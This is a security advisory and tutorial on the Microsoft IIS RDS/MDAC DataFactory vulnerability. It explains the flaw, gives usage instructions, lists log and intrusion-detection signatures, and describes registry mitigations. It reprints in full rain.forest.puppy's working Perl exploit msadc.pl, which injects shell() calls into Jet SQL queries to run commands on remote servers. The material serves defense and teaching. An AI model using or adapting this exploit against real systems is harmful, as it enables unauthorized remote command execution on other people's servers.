RDS security hole in the Microsoft Internet Information Server (IIS)

By Antonio Santos Jr.

Name

IIS RDS vulnerability

CVE

GENERIC-MAP-NOMATCH

Operating System

Microsoft Windows NT running Internet Information Server (IIS)

Description

Microsoft's Internet Information Server (IIS) 3.0 and 4.0 are vulnerable to an attack that allows any web site visitor unauthorized access to secure files or even execute code on a vulnerable machine. The attack is made against the Remote Data Services (RDS), a component of the Microsoft Data Access Component (MDAC).

The RDS DataFactory object exposes unsafe methods, which may permit an unauthorized user to execute shell commands and access restricted files. The affected versions are IIS 3.0 or 4.0 with MDAC 1.5 or MDAC 2.0. MDAC 2.1 is vulnerable only if upgraded from previous version. All versions of MDAC are vulnerable, if sample pages of RDS are installed (installing samples on a production server is never a good security practice).

How the exploit works

This is a privilege elevation attack. On a system with both IIS and MDAC installed, the vulnerability in MDAC could allow an otherwise unauthorized web user to perform privileged actions on the system, including:

- Allowing an unauthorized user to execute shell commands on the IIS system as a privileged user.
- On a multi-homed Internet-connected IIS system, using MDAC to tunnel SQL and other ODBC data requests through the public connection to a private back-end network.
- Allowing unauthorized access to secured, non-published files on the IIS system.

MS Jet database engine (which runs Access databases) allows an individual to embed VBA in string expressions, which may allow the individual to run command line NT commands. This, combined with the flaw of IIS running ODBC commands as system_local allow a remote attacker to have full control of the system. Other webservers may be affected. Many MS Jet engines are affected, but may not lead to elevated privileges.

ODBC allows a program flexible access to one or more relational databases using SQL. If a client fails to quote correctly the meta characters in a piece of data used in an SQL query, an attacker may be able to interfere with the tables in the database.

However, the Microsoft "Jet" database engine (a.k.a. MS Access) provides some extensions to SQL which allow the execution of VBA (Visual Basic for Applications). This makes holes in meta character quoting code much more interesting and dangerous.

This is done over the web. Basically your client application communicates via HTTP to the /msadc/msadcs.dll on your server. The msadcs.dll exposes the RDSServer.DataFactory object, or better known as the AdvancedDataFactory. Now AdvancedDataFactory only has four methods, so we are kind of limited on what we can do. We can:

- CreateRecordSet
- Query
- SubmitChanges
- ConvertToString

Query and SubmitChanges require a valid database to work upon. The other two are just data mangling functions.

The DataFactory object allows you to connect to a specified data source (such as SQL Server), using a specified UserID and password, and execute a query against that server and then return the result set back to the client.

The data source, UserID, password, and SQL statement are passed as parameters to the method exposed on the DataFactory object. If the registry keys stated above are removed however, the user will be unable to create the object, therefore removing any possibility of abuse.

Retrieving DATA from a ODBC valid conection:

♦ Setting ODBC Connection:

  You will need to know some valid DSN, the UID (User ID) and Password. Put the information about the connection into "Connection Properties":

  Data Source: The DSN Connection Name (it MUST be a registered DSN)

  User ID: Login (it can be null sometimes)

  Password: Password (it can be null sometimes)

  Mode: The way you want to open the Table (Read Only or Read and Write)

You must follow the order above and don't forget the ; to separate the options It can be for instance a line like this:

"Data Source=AdvWorks;User ID=;Password=;Mode=Read|Write;"

- SQL Comands:

  Put into the "SQL Parameters" box the command line you want to deliver for example:

  "SELECT * FROM Products"

- Host:

  You MUST Enter the host like this http://server DON'T FORGET HTTP:// or it'll not work.

How to use the exploit

To run the program, just save this whole exploit code to a file, such as msadc.pl. Then run "perl -x msadc.pl".

The command switches are as follows:

-h <ip or domain>	this is the host to scan. You MUST either use either -h or -R.
-d <value 0-?>	this is the delay between connections. Value is in number of seconds. This was added because hammering the RDS components caused the server to occasionally stop responding. Defaults to 1. Use -d 0 to disable.
-V	Use VbBusObj instead of DataFactory to run the queries. NOTE: please read the –N information below as to suggestions for checking if VbBusObj exists. VbBusObj does not give good error reporting; therefore it is quite possible to have false positives (and false negatives).
-v	verbose. This will print the ODBC error information. Really only for troubleshooting purposes.
-e	external dictionary file to use on step 5 - the 'DSN dictionary guess' stage. The file should just be plaintext, one DSN name per line file with all the DSN names you want to try.
-R	resume. You can still specify -v or -d with -R. This will cause the script to read in rds.save and execute the command on the last valid connection.
-N	Use VbBusObj to try to get the machine's NetBIOS name. It may return no name if the VbBusObj is unavailable.
-X	perform an Index Server table dump instead. None of the other switches really apply here, other than -v (although -d

still works, there's no need to slow down one query). This dumps the root paths from Index Server, which can be rather lengthy.

After run the exploit you will be able type the command that will be executed on the remote host. The script reports 'Success!' when it has issued a valid SQL statement. 'Success!' does not mean that your command worked. If they have MDAC 2.1+ shell commands are worthless, so the script will report 'Success!' (it went through) but your command didn't run (MDAC 2.1 didn't interpret it). There's no return indication to know whether your command worked or not. As with the ODBC commands, you're flying blind.

Signature of the attack

First off, the script will do a GET request to /msadc/msadcs.dll on the target webserver. If it exists, it will proceed; otherwise, it spits out an error message and exits.

This initial GET request should be logged in your webserver access logs, per the usual. Note that 'skilled users' may change this to a HEAD or POST request, and may use some obfuscation techniques on the URL (like hex-encoding). But it will still be logged. The key is noticing msadcs.dll with no parameters. Valid users will use it straight out. So calling msadcs.dll with no parameters should be flagged as suspicious.

If msadcs.dll exists (determined by returning a particular response), then it asks the user what command to run. By default, the exploit will prepend 'cmd /c' or 'command /c', for compatibility. This means it is dependant on cmd.exe or command.com. However, again, 'skilled users' can modify the script to not require either.

Next the script actually starts making RDS queries. It does so using POST requests to one of the following URLs:

Normal query:

/msadc/msadcs.dll/ActiveDataFactory.Query

VbBusObj to bypass custom handlers:

/msadc/msadcs.dll/VbBusObj.VbBusObjCls.GetRecordset

Query VbBusObj for NetBIOS name:

/msadc/msadcs.dll/VbBusObj.VbBusObjCls.GetMachineName

Now, if you are using RDS for legitimate purposes, then the ActiveDataFactory.Query URL is normal. However, no one should be using VbBusObj, so the other two URLs should be instantly flagged as an attack. Remember that grep'ing your logs for 'VbBusObj' isn't going to do it - 'skilled users' can hex-encode the URL to read something like:

/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset

Notice how the string is now broken up. Therefore purely relying on a 'grep' to find problems may not be enough.

At this point, I want to also point out two other tidbits:

- The default msadc.pl script uses 'ACTIVEDATA' as the User-Agent. This can serve as a flag; however, the normal RDS control also uses this tag as the User-Agent, therefore it may not be possible to distinguish from normal traffic.
- The default msadc.pl script uses '!ADM!ROX!YOUR!WORLD!' as the MIME separator string. While this isn't logged anywhere, some IDSes (like Dragon; www.securitywizards.com) use this to detect attacks on the wire.

By default, the script tries to use local .MDB files found on the server. If one is found, it will create a table named 'AZZ' within the .MDB. It does not delete the table afterward, so you can check all .MDB files for tables named 'AZZ'.

How to protect against it?

If you don't need RDS functionality, you should disable this functionality by doing the following:

- Delete the /msadc virtual directory from the default Web site.
- Remove the following registry keys from the server hosting IIS:

  HKEY_LOCAL_MACHINE \SYSTEM \CurrentControlSet

  \Services \W3SVC \Parameters\ADCLaunch\RDSServer.DataFactory

  HKEY_LOCAL_MACHINE \SYSTEM \CurrentControlSet

  \Services \W3SVC \Parameters \ADCLaunch\AdvancedDataFactory

  HKEY_LOCAL_MACHINE \SYSTEM \CurrentControlSet

  \Services \W3SVC \Parameters \ADCLaunch\VbBusObj.VbBusObjCls

Actually, performing either of the above steps will disable RDS functionality. However, we've listed both steps for completeness.

I you need RDS functionality, the best practices include:

- Ensure that you have installed the latest version of MDAC on your system, and configured it to run in "safe mode".
- Ensure that the Sample Pages for RDS are not installed.
- If anonymous users should not be able to use RDS, disable Anonymous Access for the /msadc directory in the default Web site.
- If you want to only allow specific database requests, you can create a custom handler to control or filter incoming requests. Information on how to do this is available at http://www.microsoft.com/Data/ado/rds/custhand.htm

Exploit Code

The following is an exploit code written in perl, which can be used to test for the existence of this vulnerability. To run it, save the code to a file (for instance msadc.txt) and then run 'perl -x file' (i.e. perl -x msadc.txt).

```
#!perl
#
# MSADC/RDS 'usage' (aka exploit) script
#
#            by rain.forest.puppy
#
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
#   beta test and find errors!

use Socket; use Getopt::Std;
getopts("e:vd:h:XR", \%args);

print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";

if (!defined $args{h} && !defined $args{R}) {
print qq~
Usage: msadc.pl -h <host> { -d <delay> -X -v }
             -h <host>     = host you want to scan (ip or domain)
             -d <seconds>  = delay between calls, default 1 second
             -X            = dump Index Server path table, if available
             -v            = verbose
             -e            = external dictionary file for step 5

             Or a -R will resume a command session

~; exit;}

$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }

if (!defined $args{R}){ $ret = &has_msadc;
```

```
die("Looks like msadcs.dll doesn't exist\n")if $ret==0}

print "Please type the NT commandline you want to run (cmd /c assumed):\n"
             . "cmd /c ";
$in=<STDIN>;    chomp $in;
$command="cmd /c " . $in ;

if (defined $args{R}) {&load; exit;}

print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
&try_btcustmr;

print "\nStep 2: Trying to make our own DSN...";
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n";

print "\nStep 3: Trying known DSNs...";
&known_dsn;

print "\nStep 4: Trying known .mdbs...";
&known_mdb;

if (defined $args{e}){
print "\nStep 5: Trying dictionary of DSN names...";
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }

print "Sorry Charley...maybe next time?\n";
exit;

##########################################################################

sub sendraw {       # ripped and modded from whisker
             sleep($delay); # it's a DoS on the server! At least on mine...
             my ($pstr)=@_;
             socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
              die("Socket problems\n");
             if(connect(S,pack "SnA4x8",2,80,$target)){
              select(S);          $|=1;
              print $pstr;        my @in=<S>;
              select(STDOUT);            close(S);
                     return @in;
```

```
            } else { die("Can't connect...\n"); }}

##########################################################################

sub make_header {  # make the HTTP request
my $msadc=<<EOT
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
User-Agent: ACTIVEDATA
Host: $ip
Content-Length: $clen
Connection: Keep-Alive

ADCClientVersion:01.06
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3

--!ADM!ROX!YOUR!WORLD!
Content-Type: application/x-varg
Content-Length: $reqlen

EOT
;  $msadc=~s/\n/\r\n/g;
return $msadc;}

##########################################################################

sub make_req {  # make the RDS request
my ($switch, $p1, $p2)=@_;
my $req=""; my $t1, $t2, $query, $dsn;

if ($switch==1){ # this is the btcustmr.mdb query
$query="Select * from Customers where City=" . make_shell();
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
            $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}

elsif ($switch==2){ # this is general make table query
$query="create table AZZ (B int, C varchar(10))";
$dsn="$p1";}

elsif ($switch==3){ # this is general exploit table query
$query="select * from AZZ where C=" . make_shell();
```

```
$dsn="$p1";}

elsif ($switch==4){ # attempt to hork file info from index server
$query="select path from scope()";
$dsn="Provider=MSIDXS;";}

elsif ($switch==5){ # bad query
$query="select";
$dsn="$p1";}

$t1= make_unicode($query);
$t2= make_unicode($dsn);
$req = "\x02\x00\x03\x00";
$req.= "\x08\x00" . pack ("S1", length($t1));
$req.= "\x00\x00" . $t1 ;
$req.= "\x08\x00" . pack ("S1", length($t2));
$req.= "\x00\x00" . $t2 ;
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
return $req;}

##########################################################################

sub make_shell {  # this makes the shell() statement
return "'|shell(\"$command\")|'";}

##########################################################################

sub make_unicode { # quick little function to convert to unicode
my ($in)=@_; my $out;
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
return $out;}

##########################################################################

sub rdo_success {  # checks for RDO return success (this is kludge)
my (@in) = @_; my $base=content_start(@in);
if($in[$base]=~/multipart\/mixed/){
return 1 if( $in[$base+10]=~/^\x09\x00/ );}
return 0;}
```

```
##########################################################################

sub make_dsn {  # this makes a DSN for us
my @drives=("c","d","e","f");
print "\nMaking DSN: ";
foreach $drive (@drives) {
print "$drive: ";
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
             "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
             . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
return 0 if $2 eq "404"; # not found/doesn't exist
if($2 eq "200") {
  foreach $line (@results) {
    return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
} return 0;}

##########################################################################

sub verify_exists {
my ($page)=@_;
my @results=sendraw("GET $page HTTP/1.0\n\n");
return $results[0];}

##########################################################################

sub try_btcustmr {
my @drives=("c","d","e","f");
my @dirs=("winnt","winnt35","winnt351","win","windows");

foreach $dir (@dirs) {
 print "$dir -> "; # fun status so you can see progress
 foreach $drive (@drives) {
 print "$drive: ";  # ditto
$reqlen=length( make_req(1,$drive,$dir) ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;

my @results=sendraw(make_header() . make_req(1,$drive,$dir));
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}

########################################################################

sub odbc_error {
my (@in)=@_; my $base;
my $base = content_start(@in);
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
return $in[$base+4].$in[$base+5].$in[$base+6];}
print "\nNON-STANDARD error.  Please sent this info to rfp\@wiretrip.net:\n";
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
            $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}

########################################################################

sub verbose {
my ($in)=@_;
return if !$verbose;
print STDOUT "\n$in\n";}

########################################################################

sub save {
my ($p1, $p2, $p3, $p4)=@_;
open(OUT, ">rds.save") || print "Problem saving parameters...\n";
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
close OUT;}

########################################################################

sub load {
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
open(IN,"<rds.save") || die("Couldn't open rds.save\n");
@p=<IN>; close(IN);
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
$target= inet_aton($ip) || die("inet_aton problems");
print "Resuming to $ip ...";
```

```
$p[3]="$p[3]";  $p[3]=~s/\n//g; $p[4]="$p[4]";  $p[4]=~s/\n//g;
if($p[1]==1) {
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
if (rdo_success(@results)){print "Success!\n";}
else { print "failed\n"; verbose(odbc_error(@results));}}
elsif ($p[1]==3){
             if(run_query("$p[3]")){
             print "Success!\n";} else { print "failed\n"; }}
elsif ($p[1]==4){
             if(run_query($drvst . "$p[3]")){
             print "Success!\n"; } else { print "failed\n"; }}
exit;}

##########################################################################

sub create_table {
my ($in)=@_;
$reqlen=length( make_req(2,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(2,$in,""));
return 1 if rdo_success(@results);
my $temp= odbc_error(@results);  verbose($temp);
return 1 if $temp=~/Table 'AZZ' already exists/;
return 0;}

##########################################################################

sub known_dsn {
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
             "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
             "banner", "banners", "ads", "ADCDemo", "ADCTest");

foreach $dSn (@dsns) {
             print ".";
             next if (!is_access("DSN=$dSn"));
             if(create_table("DSN=$dSn")){
                print "$dSn successful\n";
                if(run_query("DSN=$dSn")){
                print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
print "Something's borked.  Use verbose next time\n";}}} print "\n";}

##########################################################################

sub is_access {
my ($in)=@_;
$reqlen=length( make_req(5,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(5,$in,""));
my $temp= odbc_error(@results);
verbose($temp); return 1 if ($temp=~/Microsoft Access/);
return 0;}

##########################################################################

sub run_query {
my ($in)=@_;
$reqlen=length( make_req(3,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(3,$in,""));
return 1 if rdo_success(@results);
my $temp= odbc_error(@results);  verbose($temp);
return 0;}

##########################################################################

sub known_mdb {
my @drives=("c","d","e","f","g");
my @dirs=("winnt","winnt35","winnt351","win","windows");
my $dir, $drive, $mdb;
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";

# this is sparse, because I don't know of many
my @sysmdbs=("\\catroot\\icatalog.mdb",
             "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
             "\\system32\\certmdb.mdb",
             "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%

my @mdbs=(   "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
             "\\cfusion\\cfapps\\forums\\forums_.mdb",
             "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
             "\\cfusion\\cfapps\\security\\realm_.mdb",
             "\\cfusion\\cfapps\\security\\data\\realm.mdb",
             "\\cfusion\\database\\cfexamples.mdb",
             "\\cfusion\\database\\cfsnippets.mdb",
             "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
             "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
             "\\cfusion\\brighttiger\\database\\cleam.mdb",
             "\\cfusion\\database\\smpolicy.mdb",
             "\\cfusion\\database\cypress.mdb",
            "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
             "\\website\\cgi-win\\dbsample.mdb",
            "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
            "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
             );  #these are just \

foreach $drive (@drives) {
 foreach $dir (@dirs){
  foreach $mdb (@sysmdbs) {
   print ".";
   if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
    print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
    if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
     print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
    } else { print "Something's borked.  Use verbose next time\n"; }}}}}

 foreach $drive (@drives) {
  foreach $mdb (@mdbs) {
   print ".";
   if(create_table($drv . $drive . $dir . $mdb)){
    print "\n" . $drive . $dir . $mdb . " successful\n";
    if(run_query($drv . $drive . $dir . $mdb)){
     print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
    } else { print "Something's borked.  Use verbose next time\n"; }}}}
}
```

```
######################################################################

sub hork_idx {
print "\nAttempting to dump Index Server tables...\n";
print "  NOTE:  Sometimes this takes a while, other times it stalls\n\n";
$reqlen=length( make_req(4,"","") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw2(make_header() . make_req(4,"",""));
if (rdo_success(@results)){
my $max=@results; my $c; my %d;
for($c=19; $c<$max; $c++){
            $results[$c]=~s/\x00//g;
            $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
            $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
            $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
            $d{"$1$2"}="";}
foreach $c (keys %d){ print "$c\n"; }
} else {print "Index server doesn't seem to be installed.\n"; }}

######################################################################

sub dsn_dict {
open(IN, "<$args{e}") || die("Can't open external dictionary\n");
while(<IN>){
            $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
            next if (!is_access("DSN=$dSn"));
            if(create_table("DSN=$dSn")){
            print "$dSn successful\n";
            if(run_query("DSN=$dSn")){
            print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
print "Something's borked.  Use verbose next time\n";}}}
print "\n"; close(IN);}

######################################################################

sub sendraw2 {      # ripped and modded from whisker
            sleep($delay); # it's a DoS on the server! At least on mine...
            my ($pstr)=@_;
            socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
             die("Socket problems\n");
            if(connect(S,pack "SnA4x8",2,80,$target)){
             print "Connected.  Getting data";
             open(OUT,">raw.out");   my @in;
             select(S);   $|=1;  print $pstr;
             while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
             close(OUT); select(STDOUT); close(S); return @in;
            } else { die("Can't connect...\n"); }}

##########################################################################

sub content_start { # this will take in the server headers
my (@in)=@_; my $c;
for ($c=1;$c<500;$c++) {
 if($in[$c] =~/^\x0d\x0a/){
  if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
  else { return $c+1; }}}
return -1;} # it should never get here actually

##########################################################################

sub funky {
my (@in)=@_; my $error=odbc_error(@in);
if($error=~/ADO could not find the specified provider/){
print "\nServer returned an ADO miscofiguration message\nAborting.\n";
exit;}
if($error=~/A Handler is required/){
print "\nServer has custom handler filters (they most likely are patched)\n";
exit;}
if($error=~/specified Handler has denied Access/){
print "\nServer has custom handler filters (they most likely are patched)\n";
exit;}}

##########################################################################

sub has_msadc {
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
my $base=content_start(@results);
return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
return 0;}
```

```
##########################################################################
```

Additional Information

Please see the following references for more information related to this issue.

- Microsoft Security Bulletin MS99-025: Frequently Asked Questions; http://www.microsoft.com/security/bulletins/MS99-025faq.asp
- Microsoft Knowledge Base (KB) article Q184375, Security Implications of RDS 1.5, IIS, and ODBC; http://support.microsoft.com/support/kb/articles/q184/3/75.asp
- Microsoft Universal Data Access Download Page; http://www.microsoft.com/data/download.htm
- Installing MDAC Q&A; http://www.microsoft.com/data/MDAC21info/MDACinstQ.htm
- Microsoft Security Advisor web site; http://www.microsoft.com/security/default.asp
- IIS Security Checklist; http://www.microsoft.com/security/products/iis/CheckList.asp